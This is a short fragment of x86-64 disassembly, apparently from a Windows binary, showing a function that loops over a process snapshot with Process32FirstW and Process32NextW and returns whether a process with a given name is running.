mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140003625
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400035c0
cmp qword [rbx + 0x18], 7
mov r8, rbx
mov rdx, qword [rbx + 0x10]
jbe 0x1400035db
mov r8, qword [rbx]
cmp rdx, rax
jne 0x140003613
test rdx, rdx
je 0x140003606
lea rcx, [rsp + 0x4c]
sub r8, rcx
lea rax, [rsp + 0x4c]
movzx ecx, word [rax]
cmp word [r8 + rax], cx
jne 0x140003613
add rax, 2
sub rdx, 1
jne 0x1400035f2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140003630
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400035b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140010170
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret